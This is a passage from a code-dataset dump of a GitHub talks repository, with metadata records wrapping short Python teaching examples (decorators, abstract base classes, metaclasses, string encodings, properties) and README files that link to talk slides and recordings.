inspect.isfunction(value):\n setattr(cls, key, debug_func(value))\n return cls\n\n@debug_methods\nclass A:\n def foo(self):\n return 1\n\n def bar(self):\n return 2\n\na = A()\na.foo() # DEBUG: foo (<__main__.A object at 0x7f7dff7dcd30>,) {}\na.bar() # DEBUG: bar (<__main__.A object at 0x7f7dff7dcd30>,) {}\n" }, { "alpha_fraction": 0.6240601539611816, "alphanum_fraction": 0.6879699230194092, "avg_line_length": 43.33333206176758, "blob_id": "117e96c3e01b9da929134f6537a4ecf690501c8e", "content_id": "14ee3b48a351cc7895888dda09b006cf6508ec47", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 266, "license_type": "permissive", "max_line_length": 110, "num_lines": 6, "path": "/2014-03-31-One-Sided-Random-Context-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "One-Sided Random Context Grammars\n=================================\n\nSupportive material for my *One-Sided Random Context Grammars* talk from 2014-03-31.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2014-03-31-One-Sided-Random-Context-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.6335697174072266, "alphanum_fraction": 0.6997635960578918, "avg_line_length": 51.875, "blob_id": "37569af81e8184ea7c79aa9462a81e3efced6e09", "content_id": "3febac6c21005b11983e842b28299d09ddd12937", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 423, "license_type": "permissive", "max_line_length": 107, "num_lines": 8, "path": "/2016-08-12-Range-Based-For-Loops-and-Auto/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Range-Based For Loops and Auto\n==============================\n\nSupportive material for my *Range-Based For Loops and Auto* talk from 2016-08-12.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2016-08-12-Range-Based-For-Loops-and-Auto/slides.pdf)\n* [Blog post](https://blog.petrzemek.net/2016/08/17/auto-type-deduction-in-range-based-for-loops/)\n* [Recording](https://www.youtube.com/watch?v=XPLh6OV4Et8) (in Czech)\n" }, { "alpha_fraction": 0.3787878751754761, "alphanum_fraction": 0.46212121844291687, "avg_line_length": 9.15384578704834, "blob_id": "3a4e0f5b6c3eeb562808292620286dfcb6492713", "content_id": "372495c119fa3921b1d6cc531a385b0f6ba0ac7e", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 132, "license_type": "permissive", "max_line_length": 24, "num_lines": 13, "path": "/2017-03-07-Introduction-to-Python/examples/17-pass-by.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def foo(x):\n x = 4\n\na = 1\nfoo(a)\nprint(a) # 1\n\ndef bar(list):\n list.append(4)\n\nb = [1, 2, 3]\nbar(b)\nprint(b) # [1, 2, 3, 4]\n" }, { "alpha_fraction": 0.6300268173217773, "alphanum_fraction": 0.6836460828781128, "avg_line_length": 52.28571319580078, "blob_id": "46997aaafd4b4ed57ff2878ce62a8e1f3b43f7e5", "content_id": "0c59666387ca932a11f75348ad56397206235758", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 373, "license_type": "permissive", "max_line_length": 122, "num_lines": 7, "path": "/2021-04-08-A-Look-at-Software-Engineering-Career-Ladders/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "A Look at Software-Engineering Career Ladders\n=============================================\n\nSupportive material for my *A Look at Software-Engineering Career Ladders* talk from 2021-04-08.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2021-04-08-A-Look-at-Software-Engineering-Career-Ladders/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=pa2_-6Ec5kU)\n" }, { "alpha_fraction": 0.6192893385887146, "alphanum_fraction": 0.6700507402420044, "avg_line_length": 64.66666412353516, "blob_id": "a56e13b07c7c2552a08d8e74777dad970043f27b", "content_id": "d7377b5d93676a64731d594e6622fa1fa216e00d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 394, "license_type": "permissive", "max_line_length": 142, "num_lines": 6, "path": "/2011-04-28-On-the-Nonterminal-Complexity-of-Left-Random-Context-E0L-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "On the Nonterminal Complexity of Left Random Context E0L Grammars\n=================================================================\n\nSupportive material for my *On the Nonterminal Complexity of Left Random Context E0L Grammars* talk from 2011-04-28.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2011-04-28-On-the-Nonterminal-Complexity-of-Left-Random-Context-E0L-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.6392092108726501, "alphanum_fraction": 0.6441515684127808, "avg_line_length": 20.678571701049805, "blob_id": "fe53e6ddb7674a2525245b2e34cb33313a2ef868", "content_id": "b56748b401b9d764ea877f687ad780f185031b73", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 607, "license_type": "permissive", "max_line_length": 73, "num_lines": 28, "path": "/2021-03-08-Introduction-to-Python/examples/24-abc-custom.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "import abc\n\n# Our custom abstract base class:\nclass Fooable(abc.ABC):\n # Alternatively, you can specify abc.ABCMeta as a metaclass\n # (see https://docs.python.org/3/library/abc.html#abc.ABC).\n\n @abc.abstractmethod\n def foo(self):\n \"\"\"Returns the foo value (whatever that is).\"\"\"\n\nclass A(Fooable):\n def foo(self):\n return 1\n\nclass B(Fooable):\n def foo(self):\n return 2\n\nclass C(Fooable):\n # Does not provide foo().\n pass\n\na = A()\nb = B()\n# This fails as C does not provide foo():\n# TypeError: Can't instantiate abstract class C with abstract methods foo\nc = C()\n" }, { "alpha_fraction": 0.6212121248245239, "alphanum_fraction": 0.6727272868156433, "avg_line_length": 54, "blob_id": "a07465973bf0dcbc759469ac11d8a6020809fb92", "content_id": "63eb3a8f6985e78808de55f636d5b1707ad07b50", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 330, "license_type": "permissive", "max_line_length": 126, "num_lines": 6, "path": "/2012-04-26-Normal-Forms-of-One-Sided-Random-Context-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Normal Forms of One-Sided Random Context Grammars\n=================================================\n\nSupportive material for my *Normal Forms of One-Sided Random Context Grammars* talk from 2012-04-26.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2012-04-26-Normal-Forms-of-One-Sided-Random-Context-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.4214285612106323, "alphanum_fraction": 0.4571428596973419, "avg_line_length": 14.55555534362793, "blob_id": "0de2e71db46a5171d9da9eb2295bcb3a154087c4", "content_id": "96e38695cb164c60b7041dc9d5ddbd0b2ac06f59", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 140, "license_type": "permissive", "max_line_length": 46, "num_lines": 9, "path": "/2020-03-02-Introduction-to-Python/examples/07-strong-typing.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "a = '1'\nb = 1\nprint(a + b) # TypeError: must be str, not int\n\n# In PHP (`php -a`):\n# php> $a = '1';\n# php> $b = $a + 1;\n# php> echo $b;\n# 2\n" }, { "alpha_fraction": 0.39684921503067017, "alphanum_fraction": 0.549887478351593, "avg_line_length": 21.593219757080078, "blob_id": "b8ed13ae4fcc25c8f061afca84b2b551a5987f64", "content_id": "eabb9eb456837458283cf0b78523eb5dacd5f25b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1333, "license_type": "permissive", "max_line_length": 78, "num_lines": 59, "path": "/2019-03-04-Introduction-to-Python/examples/14-operations.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Arithmetic:\nprint(10 * 'x') # xxxxxxxxxx\nprint(5 / 2) # 2.5\nprint(5 // 2) # 2\nprint(2 ** 8) # 256\n\n# Indexing:\nlist = [1, 2, 3, 4, 5]\nprint(list[0]) # 1\nprint(list[-1]) # 5\n# print(list[99]) # IndexError: list index out of range\n\n# Slicing:\nlist = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\nprint(list[1:4]) # [2, 3, 4]\nprint(list[1:]) # [2, 3, 4, 5, 6, 7, 8, 9, 10]\nprint(list[:3]) # [1, 2, 3]\nprint(list[1:7:2]) # [2, 4, 6]\nprint(list[::-1]) # [10, 9, 8, 7, 6, 5, 4, 3, 2, 1]\nprint(list[:]) # [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\n# Logical:\na = 1\nb = 2\nprint(a == 1 and b == 2) # True\nprint(1 and 2) # 2\nprint(0 or 2) # 2\n\n# Assignment:\nlist1 = [1, 2, 3]\nlist2 = [4, 5]\n# Beware that `list1 += list2` modifies the list in-place while `list1 = list1\n# + list2` creates a new list:\nprint(id(list1)) # 140045417168968\nlist1 += list2\nprint(id(list1)) # 140045417168968\nlist1 = list1 + list2\nprint(id(list1)) # 140654991417864 (oops)\n\n# in:\nprint(3 in [1, 2, 3, 4]) # True\n\n# is:\na = [1, 2, 3]\na = b\nprint(a is b) # True\n\n# Caching curiosity (unexpected behavior; run this in an interpreter):\n# >>> a = 1\n# >>> b = 1\n# >>> a is b\n# True\n# >>> a = 300\n# >>> b = 300\n# >>> a is b\n# False\n#\n# See http://stackoverflow.com/q/306313/2580955 and\n# http://stackoverflow.com/q/15171695/2580955 for more details.\n" }, { "alpha_fraction": 0.5286624431610107, "alphanum_fraction": 0.5732483863830566, "avg_line_length": 30.399999618530273, "blob_id": "e63b674f0e6986b700a5fafbcbfa3513912a618e", "content_id": "64948f946560e323c3f3a0a2a0933058ae9782fd", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 157, "license_type": "permissive", "max_line_length": 69, "num_lines": 5, "path": "/2021-03-08-Introduction-to-Python/examples/31-for-else.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "for item in [1, 2, 3, 4, 5, 6]:\n if item == 5:\n break\nelse: # In my opinion, this 'else' should have been called 'nobreak'.\n print(\"not found\")\n" }, { "alpha_fraction": 0.5482093691825867, "alphanum_fraction": 0.5592286586761475, "avg_line_length": 19.16666603088379, "blob_id": "72b71076222ed8e6f1534536b73fb9bcdfd78e83", "content_id": "771da169756a231934914cce382d71f450732066", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 363, "license_type": "permissive", "max_line_length": 71, "num_lines": 18, "path": "/2021-03-08-Introduction-to-Python/examples/24-changing-base-classes.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Changing base classes during runtime (just for illustration, I do not\n# recommend doing this in practice):\n\nclass A:\n def foo(self):\n return 1\n\nclass B(A):\n pass\n\nclass C:\n def foo(self):\n return 2\n\nb = B()\nprint(b.foo(), B.__bases__) # 1 (<class '__main__.A'>,)\nB.__bases__ = (C,)\nprint(b.foo(), B.__bases__) # 2 (<class '__main__.C'>,)\n" }, { "alpha_fraction": 0.5256410241127014, "alphanum_fraction": 0.6433566212654114, "avg_line_length": 44.157894134521484, "blob_id": "e87bc5fcf3d9c297e5254cfc08e2abf22248a67d", "content_id": "e8c24e323a107e85c0048ae1dcb4ea7a534dbc44", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 865, "license_type": "permissive", "max_line_length": 81, "num_lines": 19, "path": "/2018-03-05-Introduction-to-Python/examples/11-encodings.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Based on https://cs-blog.petrzemek.net/2015-08-09-znakova-sada-vs-kodovani\n\ns = 'Kočička'\nprint(len(s)) # 7\nprint(ord('č')) # 269\nprint(hex(269)) # '0x10d' (U+010D: Latin Small Letter C with Caron)\nprint('Ko\\u010di\\u010dka') # Unicode literals\n\n# Encoding:\nprint(s.encode('latin2')) # b'Ko\\xe8i\\xe8ka'\nprint(s.encode('utf-8')) # b'Ko\\xc4\\x8di\\xc4\\x8dka'\nprint(s.encode('utf-16le')) # b'K\\x00o\\x00\\r\\x01i\\x00\\r\\x01k\\x00a\\x00'\nprint(s.encode('utf-16be')) # b'\\x00K\\x00o\\x01\\r\\x00i\\x01\\r\\x00k\\x00a'\nprint(s.encode('utf-16')) # b'\\xff\\xfeK\\x00o\\x00\\r\\x01i\\x00\\r\\x01k\\x00a\\x00'\n # ^^^^^^^^ BOM\n# Decoding:\nprint(b'Ko\\xc4\\x8di\\xc4\\x8dka'.decode('utf-8')) # 'Kočička'\nprint(b'Ko\\xc4\\x8di\\xc4\\x8dka'.decode('latin2')) # 'KoÄ\\x8diÄ\\x8dka' (nonsense)\nprint(b'Ko\\xc4\\x8di\\xc4\\x8dka'.decode('utf-16le')) # UnicodeDecodeError\n" }, { "alpha_fraction": 0.5249266624450684, "alphanum_fraction": 0.5249266624450684, "avg_line_length": 19.058822631835938, "blob_id": "dcf899e806e0ec719581725dbb97dc343ba8c766", "content_id": "36c31a90f4a40038c5a006a2a7642b804a6e037b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 341, "license_type": "permissive", "max_line_length": 52, "num_lines": 17, "path": "/2020-03-02-Introduction-to-Python/examples/24-metaclasses.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class A:\n def foo(self):\n print('A.foo()')\n\na = A()\nprint(type(a)) # <class '__main__.A'>\nprint(type(A)) # <class 'type'>\nprint(type(type)) # <class 'type'> (huh?)\n\n# How to create a class without the 'class' keyword:\n\ndef A_foo(self):\n print('A.foo()')\n\nA = type('A', (object,), {'foo': A_foo})\na = A()\na.foo() # A.foo()\n" }, { "alpha_fraction": 0.5345911979675293, "alphanum_fraction": 0.5628930926322937, "avg_line_length": 18.875, "blob_id": "b3b54cb71895f89e710b955308964ce30b15f394", "content_id": "c45106b5d643b3a44c3ab4cfa2a7eac4ed6a65e0", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 318, "license_type": "permissive", "max_line_length": 57, "num_lines": 16, "path": "/2019-03-04-Introduction-to-Python/examples/23-methods.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class A:\n def method(self):\n print(self)\n\n @classmethod\n def class_method(cls):\n print(cls)\n\n @staticmethod\n def static_method():\n print('static_method')\n\na = A()\na.method() # <__main__.A object at 0x7f7f62d47a20>\nA.class_method() # <class '__main__.A'>\nA.static_method() #\n" }, { "alpha_fraction": 0.43697479367256165, "alphanum_fraction": 0.43697479367256165, "avg_line_length": 10.899999618530273, "blob_id": "9efc35382897fd9ae1a4e47a3efe15e07249f3b6", "content_id": "b11f29c57ab5d4cad27c859fcdf8b904ff0ef9cc", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 119, "license_type": "permissive", "max_line_length": 18, "num_lines": 10, "path": "/2017-03-07-Introduction-to-Python/examples/23-override.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class A:\n def foo(self):\n print('A')\n\nclass B(A):\n def foo(self):\n print('B')\n\nx = B()\nx.foo() # B\n" }, { "alpha_fraction": 0.5182926654815674, "alphanum_fraction": 0.5884146094322205, "avg_line_length": 20.866666793823242, "blob_id": "16be02fd8167d8dfc0c82f70c03a94eaf36db41c", "content_id": "4b4138d47e7540f93dab18befa9cae2be8bb3cbd", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 328, "license_type": "permissive", "max_line_length": 76, "num_lines": 15, "path": "/2020-03-26-Python-Object-Model/examples/methods-vs-functions.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Methods vs functions.\n\nclass X:\n def __init__(self, x):\n self.x = x\n\n def add(self, other):\n return self.x + other.x\n\na = X(1)\nb = X(2)\nprint(a.add(b)) # 3\nprint(X.add(a, b)) # 3\nprint(X.add) # <function X.add at 0x7f83bb046040>\nprint(a.add) # <bound method X.add of <__main__.X object at 0x7fa9414ee910>>\n" }, { "alpha_fraction": 0.6022727489471436, "alphanum_fraction": 0.6181818246841431, "avg_line_length": 28.33333396911621, "blob_id": "76ef203b71aab063c274874112bf94a78d8c1e8f", "content_id": "4c3788f80d83e2a64a8cc5dae0c25fb543dcfccd", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 440, "license_type": "permissive", "max_line_length": 79, "num_lines": 15, "path": "/2018-03-05-Introduction-to-Python/examples/13-type-hints.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# The presence of type hints has no effect on runtime whatsoever. It is used by\n# source analyzers (e.g. http://mypy-lang.org/).\n#\n# Requires Python >= 3.5.\ndef hello(name: str) -> str:\n return 'Hello ' + name\n\nhello('Joe') # Hello Joe\nhello(5) # Hello 5\n\n# The type hints can be accessed via __annotations__:\nprint(hello.__annotations__) # {'name': <class 'str'>, 'return': <class 'str'>}\n\ni: int = 'hey!' # OK\ni = [1, 2, 3] # OK\n" }, { "alpha_fraction": 0.5303429961204529, "alphanum_fraction": 0.5408970713615417, "avg_line_length": 18.947368621826172, "blob_id": "b2aa6c8e73150c89538f50cbe8e848735c28227b", "content_id": "56a9bc4891135f54bdc40f782705b080ea69a464", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 379, "license_type": "permissive", "max_line_length": 54, "num_lines": 19, "path": "/2020-03-02-Introduction-to-Python/examples/23-properties.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class Person:\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n @property\n def age(self):\n return self._age\n\n @age.setter\n def age(self, new_age):\n if new_age <= 0:\n raise ValueError('age has to be positive')\n self._age = new_age\n\n\np = Person('John', 30)\nprint(p.age)\np.age = -1 # Raises ValueError.\n" }, { "alpha_fraction": 0.6277777552604675, "alphanum_fraction": 0.6277777552604675, "avg_line_length": 19, "blob_id": "23cb2c8c9aa25a651f53279f385465f978e14753", "content_id": "15dd44d2a0dc8e394cd5ab3ebddb3784f4228cf5", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 180, "license_type": "permissive", "max_line_length": 35, "num_lines": 9, "path": "/2017-03-07-Introduction-to-Python/examples/15-for.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "colors = ['red', 'green', 'blue']\n\n# Good (idiomatic):\nfor color in colors:\n print(color)\n\n# Bad (unidiomatic, don't do that):\nfor i in range(len(colors)):\n print(colors[i])\n" }, { "alpha_fraction": 0.5691382884979248, "alphanum_fraction": 0.585170328617096, "avg_line_length": 25.263158798217773, "blob_id": "eef1d617f01b0076fe479dc7a0423b6007c5a7a1", "content_id": "8267a924fc7582d92807f9be925f442d61316329", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 499, "license_type": "permissive", "max_line_length": 74, "num_lines": 19, "path": "/2018-03-05-Introduction-to-Python/examples/24-custom-metaclass.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# From \"B. Jones, D. Beazley: Python Cookbook, 3rd edition, 2013\", section 9.17.\n\nclass NoMixedCaseMeta(type):\n def __new__(meta, name, bases, dict):\n for name in dict:\n if name.lower() != name:\n raise TypeError('Bad attribute name: ' + name)\n return super().__new__(meta, name, bases, dict)\n\nclass Base(metaclass=NoMixedCaseMeta):\n pass\n\nclass A(Base):\n def foo_bar(self): # OK\n pass\n\nclass B(Base):\n def fooBar(self): # TypeError\n pass\n" }, { "alpha_fraction": 0.6467486619949341, "alphanum_fraction": 0.6977152824401855, "avg_line_length": 70.125, "blob_id": "239a6cd34c2ddaa542b390c0e60e9f7abbbd8148", "content_id": "5eaa480604f2d00f8d4d8d119dca7c163ca03e4b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 579, "license_type": "permissive", "max_line_length": 133, "num_lines": 8, "path": "/2013-06-15-Od-hamburgeru-ke-krave-aneb-jak-z-binarky-ziskat-zdrojak/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Od hamburgeru ke krávě aneb jak z binárky získat zdroják\n========================================================\n\nSupportive material for my Czech talk *Od hamburgeru ke krávě aneb jak z binárky získat zdroják* from 2013-06-15.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-06-15-Od-hamburgeru-ke-krave-aneb-jak-z-binarky-ziskat-zdrojak/slides.pdf)\n* [Recording](http://www.superlectures.com/barcampbrno2013/od-hamburgeru-ke-krave-aneb-jak-z-binarky-ziskat-zdrojak) (Czech)\n* [Photos](https://talks.petrzemek.net/Petr-Zemek_-_2013-06-15_-_Barcamp-Brno/)\n" }, { "alpha_fraction": 0.6363636255264282, "alphanum_fraction": 0.6981818079948425, "avg_line_length": 44.83333206176758, "blob_id": "c449d1d2388e8521705b8197146b9a2ea1fa18d6", "content_id": "4b72d2fa0def98cd91bbbb4c33a8fa8ed38996a0", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 275, "license_type": "permissive", "max_line_length": 108, "num_lines": 6, "path": "/2013-12-12-Regulated-Grammars-and-Automata/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Regulated Grammars and Automata\n===============================\n\nSupportive material for a joint talk *Regulated Grammars and Automata* with Alexander Meduna from 2013-12-12.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-12-12-Regulated-Grammars-and-Automata/slides.pdf)\n" } ]
149
suyanbing/platform_django
https://github.com/suyanbing/platform_django
a91b8bd43e79682bd55651254b50fcdc56dab73d
4a8f354470b7b624f631157d5151598b6a0305b2
9adf8a8d2505ec67d095f516063d76e2b7ee0825
refs/heads/master
2020-06-16T11:21:31.059473
2016-12-01T17:19:43
2016-12-01T17:19:43
75,109,704
0
0
null
2016-11-29T18:25:06
2016-11-18T15:44:08
2016-11-29T17:46:04
null
[ { "alpha_fraction": 0.5989304780960083, "alphanum_fraction": 0.5989304780960083, "avg_line_length": 30.25, "blob_id": "737006377faf7a1788f8b3c91b5470ca3edf8298", "content_id": "1df5bd4030e96c0a834b2bbe0c7994f82d56ce40", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 374, "license_type": "permissive", "max_line_length": 61, "num_lines": 12, "path": "/main/urls.py", "repo_name": "suyanbing/platform_django", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^data/$', views.data),\n url(r'^data/(?P<rtype>\\w+)/$', views.data),\n url(r'^data/(?P<rtype>\\w+)/(?P<value>\\d+)$', views.data),\n url(r'^fieldreports$', views.field_reports_overview),\n url(r'^fieldreport/(?P<id>\\d+)$', views.field_report)\n]" }, { "alpha_fraction": 0.738705039024353, "alphanum_fraction": 0.7464748024940491, "avg_line_length": 42.9620246887207, "blob_id": "0b423110e3dfc2a0cf7dd5cad4492b020fcb3441", "content_id": "35af43fd7d025ac16fd6ea8464eb1fc6953b9fe2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3475, "license_type": "permissive", "max_line_length": 121, "num_lines": 79, "path": "/main/views.py", "repo_name": "suyanbing/platform_django", "src_encoding": "UTF-8", "text": "from django.http import HttpResponse, HttpResponseRedirect\nfrom .models import Dmis_field_report, Dmis_numericalreport, Dmis_countries, Dmis_disasters\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.shortcuts import render\nimport json\nfrom datetime import datetime, timedelta\n\ndef index(request):\n return HttpResponse(\"Hello, world.\")\n\ndef data(request,rtype=None,value=7):\n\tresponse = '{}'\n\tif rtype=='latest':\n\t\tresponse = getLatest(int(value))\n\tif rtype=='report':\n\t\tresponse = getReport(int(value))\n\treturn HttpResponse(response)\n\ndef getLatest(length):\n\treports = Dmis_field_report.objects.filter(Inserted__gte=datetime.now()-timedelta(days=length)).order_by('-Inserted')\n\tresponse = []\n\tfor r in reports:\n\t\treport = {}\n\t\treport['summary'] = r.Summary\n\t\treport['briefsummary'] = r.BriefSummary\n\t\treport['countryname'] = r.Country.all()[0].CountryName\n\t\treport['countryid'] = r.Country.all()[0].GMI_CNTRY\n\t\treport['disastertype'] = r.DisasterType.all()[0].DisasterTypeName\n\t\treport['injured'] = r.NumericalReport.all()[0].NumberOfInjured\n\t\treport['casualties'] = r.NumericalReport.all()[0].NumberOfCasualties\n\t\treport['missing'] = r.NumericalReport.all()[0].NumberOfMissing \n\t\treport['affected'] = r.NumericalReport.all()[0].NumberOfAffected \n\t\treport['staff'] = r.NumericalReport.all()[0].NumberOfLocalStaffInvolved\n\t\treport['volunteers'] = r.NumericalReport.all()[0].NumberOfVolunteersInvolved \n\t\treport['displaced'] = r.NumericalReport.all()[0].NumberOfDisplaced \n\t\treport['assisted'] = r.NumericalReport.all()[0].NumberOfAssistedByRC\n\t\treport['delegates'] = r.NumericalReport.all()[0].NumberOfExpatsDelegates\n\t\treport['date'] = str( r.Inserted )\n\t\treport['id'] = r.ReportID\n\t\tresponse.append(report)\n\tresponse = json.dumps(response)\n\treturn response\n\n\n#using reportID as the ID rather than ID in case we need to do anything inline with DMIS. Should change at a later date.\ndef getReport(id):\n\tr = Dmis_field_report.objects.filter(ReportID=id)[0]\n\treport = {}\n\treport['summary'] = r.Summary\n\treport['briefsummary'] = r.BriefSummary\n\treport['countryname'] = r.Country.all()[0].CountryName\n\treport['countryid'] = r.Country.all()[0].GMI_CNTRY\n\treport['disastertype'] = r.DisasterType.all()[0].DisasterTypeName\n\treport['injured'] = r.NumericalReport.all()[0].NumberOfInjured\n\treport['casualties'] = r.NumericalReport.all()[0].NumberOfCasualties\n\treport['missing'] = r.NumericalReport.all()[0].NumberOfMissing \n\treport['affected'] = r.NumericalReport.all()[0].NumberOfAffected \n\treport['staff'] = r.NumericalReport.all()[0].NumberOfLocalStaffInvolved\n\treport['volunteers'] = r.NumericalReport.all()[0].NumberOfVolunteersInvolved \n\treport['displaced'] = r.NumericalReport.all()[0].NumberOfDisplaced \n\treport['assisted'] = r.NumericalReport.all()[0].NumberOfAssistedByRC\n\treport['delegates'] = r.NumericalReport.all()[0].NumberOfExpatsDelegates\n\treport['fact'] = r.ResponseTools.all()[0].FACT\n\treport['date'] = str( r.Inserted )\n\treport['actiontaken'] = r.ActionTaken\n\treport['actiontakenbyothers'] = r.ActionTakenByOthers\n\treport['actiontakenbypns'] = r.ActionTakenByPns\n\treport['actiontakenbyfederation'] = r.ActionTakenByFederation\n\tresponse = json.dumps(report)\n\treturn response\n\ndef field_reports_overview(request):\n\treturn render(request, 'main/field_reports_overview.html')\n\ndef field_report(request,id):\n\tdata = {}\n\tdata['id'] = id\n\treturn render(request, 'main/field_report.html',data)\n\n\n" }, { "alpha_fraction": 0.8220064640045166, "alphanum_fraction": 0.8220064640045166, "avg_line_length": 30, "blob_id": "cfa2c0401a8dbe5dc0412b8f2f786372af856ca1", "content_id": "7c08dab967558696d4a1de75eeb300a8ccf4a086", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 309, "license_type": "permissive", "max_line_length": 91, "num_lines": 10, "path": "/main/admin.py", "repo_name": "suyanbing/platform_django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\n# Register your models here.\n\nfrom .models import Dmis_countries,Dmis_disasters, Dmis_field_report, Dmis_numericalreport \n\nadmin.site.register(Dmis_countries)\nadmin.site.register(Dmis_disasters)\nadmin.site.register(Dmis_field_report)\nadmin.site.register(Dmis_numericalreport)" } ]
3
TrellixVulnTeam/RobotFramework_Selenium_Python_20AD
https://github.com/TrellixVulnTeam/RobotFramework_Selenium_Python_20AD
d8b7df1ec7f4b3f1bbaaabdcabc128d974770719
6530decab2e7b610ef26a5888fdad0aa4ef50387
e0a57e0243ccbcff1e87312a9fff9a982ba70a9f
refs/heads/master
2023-07-20T03:47:10.811287
2021-08-30T13:50:16
2021-08-30T13:50:16
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8301886916160583, "alphanum_fraction": 0.8301886916160583, "avg_line_length": 30.799999237060547, "blob_id": "8c201c1aa170b85fbf4576b3d45bbbcea621616a", "content_id": "035babc5b5a842555036e51f755a961c89395d05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 159, "license_type": "no_license", "max_line_length": 56, "num_lines": 5, "path": "/TestCases/chromeDriverSync.py", "repo_name": "TrellixVulnTeam/RobotFramework_Selenium_Python_20AD", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\n\ndef get_chromedriver_path():\n return ChromeDriverManager.install()\n" } ]
1
Magier/streamlit_demo_fhLUG
https://github.com/Magier/streamlit_demo_fhLUG
961e6eced1da10c808c02938c64fd46565a253dc
1cba877b6de8cc29f1642c6b6361fbf16f6942e0
5ac17e2e17455697055f7479ebbc77646824d92c
refs/heads/master
2022-09-01T20:55:59.350315
2020-05-24T06:48:01
2020-05-24T06:48:01
null
0
0
null
null
null
null
null
